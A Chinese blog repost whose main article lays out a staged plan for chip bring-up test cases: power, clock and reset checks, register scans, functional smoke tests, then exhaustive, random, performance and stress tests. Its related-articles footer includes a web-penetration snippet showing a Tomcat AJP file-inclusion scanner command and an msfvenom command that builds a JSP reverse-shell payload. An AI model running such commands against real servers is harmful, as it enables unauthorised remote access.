当前位置: 首页 > news >正文

芯片bring-up的测试用例

文章目录

  • 前言
  • 一、测试用例的规划和编写原则
    • 1、冒烟测试
      • 1)电源时钟复位测试
      • 2)寄存器扫描测试
      • 3)单一功能冒烟测试
    • 二、遍历测试
    • 三、随机测试
    • 四、性能测试
    • 五、压力测试
  • 总结


前言

最近做了一些用测试用例点亮芯片的工作,从测试用例的规划和编写,记录几点开发测试用例的心得体会。


一、测试用例的规划和编写原则

在测试用例前期的规划时,应当遵循由简单到复杂这个原则。

这里从简单到复杂,将测试用例分为如下几类:

  1. 冒烟测试
  2. 遍历测试
  3. 随机测试
  4. 性能测试
  5. 压力测试

1、冒烟测试

冒烟测试是目的是初步评估整个芯片的功能是否完好,其要遵循的原则是小而美。

在编写冒烟测试过程中,在覆盖测试的功能的前提下,应当越简单越好,尽量减少模块之间的依赖,减少因为别的模块有问题,而阻塞当前功能的测试。

芯片回来后,需要在最短的时间内完成冒烟测试,因为冒烟测试可以很大程度提升团队的信心,所以对于冒烟测试,我们往往需要做一些预备方案,要假设冒烟测试可能存在哪些问题,如果出现了这些问题,我应该准备哪些预备方案去应对,这样可以提前准备一些应对措施,快速完成冒烟测试。

冒烟测试可以简单分为:(1)电源时钟复位测试;(2)寄存器扫描测试;(3)单一功能冒烟测试。下面我们挨个介绍。

1)电源时钟复位测试

拿到芯片首先要进行电源,时钟以及复位测试,利用示波器或者相关的寄存器,来确认电源供电是否正常,时钟频率是否正确,复位是否释放。

所以,这个过程我们需要提前准备的是,分析清楚芯片的供电、时钟以及复位方案。
关于供电,(1)检查输入电压和静态电流。电源从哪个pad管脚输入,电压应该是多少,静态电流应该是多少,通过静态电流可以初步判断芯片是否有短路的情况。(2)检查内部各个模块的供电情况。梳理清楚哪些模块是电源线直连的,哪些要经过LDO/DCDC做电压切换,切换的寄存器是多少,切换后的电压如何查询。

关于时钟,梳理时钟树,顺着树根到枝叶依次检查。首先,检查树根,时钟是从哪个pad管脚输入,频率应该是多少;其次,检查中间节点,内部有没有pll,是否有分频,是否有时钟门控;最后,检查枝叶上的时钟是否正常。

关于复位,确认是高有效还是低有效复位,梳理复位树。和时钟一样,先检查树根,确认复位是否被释放;其次,检查中间节点,是否有门控;最后,检查枝叶上的复位是否正常。

2)寄存器扫描测试

搞定电源时钟复位后,就可以进行寄存器扫描测试了。

寄存器扫描测试,要将正常和异常寄存器的扫描分开,先测试正常的,再测试异常的。正常寄存器扫描主要是指可读写的寄存器,异常寄存器扫描测试主要包括:reserved,read only,write1clear等。

在编写寄存器扫描测试时,要遵循小而美的原则,不要将所有的寄存器扫描都写到一个task/function中,一个模块在一种场景下,要单独封装到一个task/function,通过层层嵌套和封装的方式,最终实现整个寄存器扫描,中间加上相关的打印信息,这样做的目的是,一方面可以快速定位到是哪个模块的哪个寄存器挂了,另一方面通过屏蔽部分代码,可以快速扫其他寄存器,而不被当前的问题阻塞,扫完后,只需要调用有问题地方的task/function即可复现问题,从而节省时间。

3)单一功能冒烟测试

搞定寄存器扫描后,就可以进行单一功能冒烟测试了。

这里为什么称之为单一功能冒烟测试,原因是这里的功能测试也是,在保证功能覆盖的前提下,越简单越好。例如,芯片里边有个资源例化了128份,在这里只需要测试其中1份就ok了,然后,可以给这128份资源进行分组测试,例如每16个一组,挑选其中8个作为一个测试用例进行测试。

二、遍历测试

冒烟测试完成后,需要对所有的资源进行遍历测试,确保所有的资源都可以正常使用。例如,硬件例化了128个加法器,那么这里需要对这128个加法器的功能进行挨个遍历测试。

在一些重要的配置中,当其中一些配置,与另外一些配置,需要交叉的场景,也要进行遍历。例如,其中一组配置是a、b、c、d,另外一组配置是1、2、3、4,那么需要对其进行排列组合进行遍历,把所有的场景都覆盖到。

三、随机测试

当配置非常多的时候,排列组合的场景非常多,再去进行遍历,会导致测试用例非常多,这个时候,就需要考虑用一些随机的配置去重复跑,尽可能多的去构造出不同的排列组合的场景,必要的时候,可以写一些覆盖率模型,去收集覆盖到的场景,从而指导随机的方向,做到哪些配置覆盖了,哪些没有覆盖,心里有数。

四、性能测试

性能测试需要提前规划好场景,再根据这些规划好的场景去设计测试用例,测试用例最好能做成自动化。

性能测试用例的场景会比较多,在设计测试用例的时候,最好能做成自动化,即敲一个命令,完成所有的测试,这是因为,在进行性能测试的时候,通常需要对参数进行调优,在调优的过程中,同一个性能测试用例可能需要跑很多遍进行对比。

在性能测试用例非常多的情况下,如果每个测试用例还需要进行参数调优,那么这个工作量会非常巨大,再加上测试过程中,每个测试用例的启动都需要时间,每个测试步骤都基本相同,那么性能测试就变成枯燥无味且耗时的体力活,测试过程中,加入越多的人为因素,也非常容易出错。

五、压力测试

在前面的测试都做完后,可以确认芯片的基本功能没什么问题,但这往往是不够,还需要测试芯片的鲁棒性,即面对大压力,高负载的时候,能不能保持稳定,这个时候就需要进行压力测试。

压力测试往往是需要挂在那里一直跑的测试用例,所以要考虑其自动化,确保能循环一直跑。

压力测试首先要明确,这个压力是指什么,通常在真实芯片中,是模拟实际的应用场景,将流量打满,让其一直工作在满负载的情况下。


总结

本文主要总结在点亮芯片的过程中,我们需要做哪些测试用例,以及编写这些测试用例的时候,有哪些注意事项。

相关文章:

芯片bring-up的测试用例

文章目录 前言一、测试用例的规划和编写原则1、冒烟测试1)电源时钟复位测试2)寄存器扫描测试3)单一功能冒烟测试 二、遍历测试三、随机测试四、性能测试五、压力测试 总结 前言 最近做了一些用测试用例点亮芯片的工作,从测试用例…...

vs code编辑区域右键菜单突然变短

今天打开vs code发现鼠标在编辑区域按右键,出来的菜单只显示一小段 显示不全,而之前的样子是 显示很多项,怎么设置回到显示很多项呢?...

如何将TRIZ的“最终理想解”应用到机器人电机控制设计中?

TRIZ理论,作为一套系统的创新方法论,旨在帮助设计师和工程师突破思维惯性,解决复杂的技术难题。其核心思想之一便是“最终理想解”,它如同一盏明灯,指引着我们在技术创新的道路上不断前行。最终理想解追求的是产品或技…...

【记录】基于docker部署小熊派BearPi-Pico H3863开发环境

参考:📝 Ubuntu环境下开发环境搭建 | 小熊派BearPi 过程 在物理机中创建一个工作路径 /home/luo/locke/BearPi/BearPi_Pico_H3863创建docker容器 docker run -it \ --privilegedtrue --cap-addALL \ --name BearPi-Pico_H3863_env \ -v /home/luo/lo…...

Elasticsearch 与 OpenSearch:谁才是搜索霸主

Elasticsearch简介 Elasticsearch 是一个开源的、基于 RESTful 接口的分布式搜索和分析引擎,它利用了 Apache Lucene 的强大功能。 它特别适合处理大规模数据,这使得它成为管理和分析日志及事件数据的理想选择。 Elasticsearch 以其即时性而著称&…...

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…...

嵌入式初学-C语言-二一

数组指针 概念&#xff1a;数组指针是指向数组的指针。 特点&#xff1a; 先有数组&#xff0c;后有指针 它指向的是一个完整的数组。 一维数组指针 数据类型 (*指针变量名)[容量]&#xff1b; 案例&#xff1a; /** * 数组指针&#xff1a;指向数组的指针 */ #include <…...

2376. 统计特殊整数

Powered by:NEFU AB-IN Link 文章目录 2376. 统计特殊整数题意思路代码 2376. 统计特殊整数 题意 如果一个正整数每一个数位都是 互不相同 的&#xff0c;我们称它是 特殊整数 。 给你一个 正 整数 n &#xff0c;请你返回区间 [1, n] 之间特殊整数的数目。 思路 详见灵神…...

Python 绘图进阶之核密度估计图:掌握数据分布的秘密

Python 绘图进阶之核密度估计图&#xff1a;掌握数据分布的秘密 引言 在数据分析中&#xff0c;了解数据的分布情况是至关重要的一步。除了常用的直方图和箱线图&#xff0c;核密度估计图&#xff08;Kernel Density Estimation, KDE&#xff09;提供了一种更为平滑、直观的方…...

设计模式(1)创建型模式和结构型模式

1、目标 本文的主要目标是学习创建型模式和结构型模式&#xff0c;并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式&#xff08;singleton&#xff09; 单例模式是创建一个对象保证只有这个类的唯一实例&#xff0c;单例模式分为饿汉式和懒汉式&#xff0c;饿汉式是…...

RuoYi-Vue新建模块

一、环境准备 附:RuoYi-Vue下载与运行 二、新建模块 在RuoYi-Vue下新建模块ruoyi-test。 三、父pom文件添加子模块 在RuoYi-Vue的pom.xml中,引入子模块。 <dependency><groupId>com.ruoyi</groupId><artifactId>ruoyi-test</artifactId>&…...

Element-UI自学实践

概述 Element-UI 是由饿了么前端团队推出的一款基于 Vue.js 2.0 的桌面端 UI 组件库。它为开发者提供了一套完整、易用、美观的组件解决方案&#xff0c;极大地提升了前端开发的效率和质量。本文为自学实践记录&#xff0c;详细内容见 &#x1f4da; ElementUI官网 1. 基础组…...

ChatGPT如何工作:创作一首诗的过程

疑问 怎样理解 Chat GPT 的工作原理&#xff1f;比如我让他作一首诗&#xff0c;他是如何创作的呢&#xff1f;每一行诗&#xff0c;每一个字都是怎么来的&#xff1f;随机拼凑的还是从哪里借鉴的&#xff1f; 回答 当你让 ChatGPT 创作一首诗时&#xff0c;它并不是简单地随…...

Linux_Shell变量及运算符-05

一、Shell基础 1.1 什么是shell Shell脚本语言是实现Linux/UNIX系统管理及自W动化运维所必备的重要工具&#xff0c; Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的内容。Shell是一种编程语言, 它像其它编程语言如: C, Java, Python等一样也有变量/函数/运算…...

OpenCV图像滤波(13)均值迁移滤波函数pyrMeanShiftFiltering()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 函数执行均值迁移图像分割的初始步骤。 该函数实现了均值迁移分割的过滤阶段&#xff0c;即输出是经过滤波的“海报化”图像&#xff0c;其中颜色…...

用爬虫技术探索石墨文档:数据自动化处理与个性化应用的创新实践

用爬虫技术探索石墨文档&#xff1a;数据自动化处理与个性化应用的创新实践 在当今这个信息爆炸的时代&#xff0c;文档管理与协作成为了企业运营和个人工作中不可或缺的一部分。石墨文档&#xff0c;作为一款轻量级的云端Office套件&#xff0c;凭借其强大的在线协作、实时同…...

【JavaEE初阶】线程池

目录 &#x1f4d5; 引言 &#x1f333; 概念 &#x1f340;ThreadPoolExecutor 类 &#x1f6a9; int corePoolSize与int maximumPoolSize&#xff1a; &#x1f6a9; long keepAliveTime与TimeUnit nuit&#xff1a; &#x1f6a9; BlockingQueue workQueue&#xff1a…...

zdpgo_cobra_req 新增解析请求体内容

zdpgo_cobra_req 使用Go语言开发的&#xff0c;类似于curl的HTTP客户端请求工具&#xff0c;用于便捷的测试各种HTTP地址 特性 1、帮助文档都是中文的2、支持常见的HTTP请求&#xff0c;比如GET、POST、PUT、DELETE等 下载 git clone https://github.com/zhangdapeng520/z…...

Java聚合快递对接云洋系统快递小程序源码

&#x1f31f;【一键聚合&#xff0c;高效便捷】快递对接云洋系统小程序全攻略&#x1f680; 引言&#xff1a;告别繁琐&#xff0c;拥抱智能快递新时代&#x1f50d; 在这个快节奏的时代&#xff0c;每一分每一秒都弥足珍贵。你是否还在为手动输入多个快递单号、频繁切换不同…...

陕西西安培华学院计算机软件工程毕业设计课题选题参考目录​

陕西西安培华学院计算机软件工程毕业设计课题选题 博主介绍&#xff1a;✌️大厂码农|毕设布道师&#xff0c;阿里云开发社区乘风者计划专家博主&#xff0c;CSDN平台&#xff0c;✌️Java领域优质创作者,博客之星、掘金/华为云/阿里云等平台优质作者、专注于大学生项目实战开发…...

19c补丁后oracle属主变化,导致不能识别磁盘组

补丁后服务器重启&#xff0c;数据库再次无法启动 ORA01017: invalid username/password; logon denied Oracle 19c 在打上 19.23 或以上补丁版本后&#xff0c;存在与用户组权限相关的问题。具体表现为&#xff0c;Oracle 实例的运行用户&#xff08;oracle&#xff09;和集…...

Prompt Tuning、P-Tuning、Prefix Tuning的区别

一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...

golang循环变量捕获问题​​

在 Go 语言中&#xff0c;当在循环中启动协程&#xff08;goroutine&#xff09;时&#xff0c;如果在协程闭包中直接引用循环变量&#xff0c;可能会遇到一个常见的陷阱 - ​​循环变量捕获问题​​。让我详细解释一下&#xff1a; 问题背景 看这个代码片段&#xff1a; fo…...

python/java环境配置

环境变量放一起 python&#xff1a; 1.首先下载Python Python下载地址&#xff1a;Download Python | Python.org downloads ---windows -- 64 2.安装Python 下面两个&#xff0c;然后自定义&#xff0c;全选 可以把前4个选上 3.环境配置 1&#xff09;搜高级系统设置 2…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

Frozen-Flask :将 Flask 应用“冻结”为静态文件

Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是&#xff1a;将一个 Flask Web 应用生成成纯静态 HTML 文件&#xff0c;从而可以部署到静态网站托管服务上&#xff0c;如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)

设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

Psychopy音频的使用

Psychopy音频的使用 本文主要解决以下问题&#xff1a; 指定音频引擎与设备&#xff1b;播放音频文件 本文所使用的环境&#xff1a; Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...

Spring AI 入门:Java 开发者的生成式 AI 实践之路

一、Spring AI 简介 在人工智能技术快速迭代的今天&#xff0c;Spring AI 作为 Spring 生态系统的新生力量&#xff0c;正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务&#xff08;如 OpenAI、Anthropic&#xff09;的无缝对接&…...